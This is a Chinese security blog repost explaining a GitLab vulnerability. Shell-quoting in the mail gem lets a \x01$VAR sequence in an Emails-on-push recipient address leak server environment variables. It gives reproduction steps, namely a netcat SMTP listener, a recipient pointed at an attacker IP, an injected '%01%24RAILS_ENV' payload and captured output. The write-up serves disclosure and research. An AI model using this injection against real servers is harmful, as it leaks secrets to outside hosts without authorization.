gitlab漏洞系列-环境变量泄露

admin 2022年4月23日03:59:57评论66 views字数 1878阅读6分15秒阅读模式

gitlab漏洞系列-环境变量泄露

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

背景

vakzz大佬于2021年8月提交了这个漏洞: gitlab omnibus版本默认使用:sendmail作为电子邮件的发送方法。ActionMailer依赖于邮件v2.7.1:https://gitlab.com/gitlab-org/gitlab/-/blob/v14.1.1-ee/Gemfile.lock#L1546:sendmail被用作传递方法时,/usr/sbin/sendmail将通过以下函数调用address:

https://github.com/mikel/mail/blob/2.7.1/lib/mail/network/delivery_methods/sendmail.rb#L85-L93

    def self.shellquote(address)  
      # Process as a single byte sequence because not all shell  
      # implementations are multibyte aware.  
      #  
      # A LF cannot be escaped with a backslash because a backslash + LF  
      # combo is regarded as line continuation and simply ignored. Strip it.  
      escaped = address.gsub(/([^A-Za-z0-9_s+-.,:/@~])/n"\\\1").gsub("n"'')  
      %("#{escaped}")  
    end  

在bash中有一个长期存在的问题,后面跟着一个01字符可能会导致插值问题(https://lists.gnu.org/archive/html/bug-bash/2007-03/msg00065.html);

复现步骤

1.使用类似vagrant/virtualbox的应用来创建一个CentOS 8虚拟机或启动一个vps;

2.按照说明安装gitlab https://about.gitlab.com/install/#centos-8。

3.步骤1和2,安装 docker也可以使用,如果运行dpkg-reconfigure dash并禁用dash作为默认的系统shell;

4.在某个可以访问ip的终端输入:

 echo -e '200 okn200 okn200 okn200 okn200 okn200 okn' | sudo nc -vl 25

5.登陆gitlab并创建一个项目

6.跳转至Settings -> Integrations -> Emails on push

7.打开Burp或打开在Chrome浏览器中的网络标签;

8.在收件人中输入[email protected],将111.111.111.111替换为运行nc的机器的ip

9.确保推送到存储库的触发事件,选中并按下保存

10.要么在burp中编辑请求,要么从network选项卡复制为curl,并将电子邮件中的测试更改为%01%24RAILS_ENV,然后运行请求

11.编辑或向项目添加文件

12.应该在nc中的to address中看到环境变量:

echo -e '200 okn200 okn200 okn200 okn200 okn200 okn' | sudo nc -vl 25  
Listening on [103.xxx.xxx.xxx] (family 0, port 25)  
Connection from [45.xxx.xxx.xxx] port 25 [tcp/smtp] accepted (family 2, sport 53932)  
EHLO localhost.localdomain  
MAIL FROM:<[email protected]>  
RCPT TO:<"will+production"[@]103.xxx.xxx.xxx.getmoss.site>  
DATA  
RSET  
QUIT  


原文始发于微信公众号(迪哥讲事):gitlab漏洞系列-环境变量泄露

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日03:59:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   gitlab漏洞系列-环境变量泄露http://cn-sec.com/archives/916850.html

发表评论

匿名网友 填写信息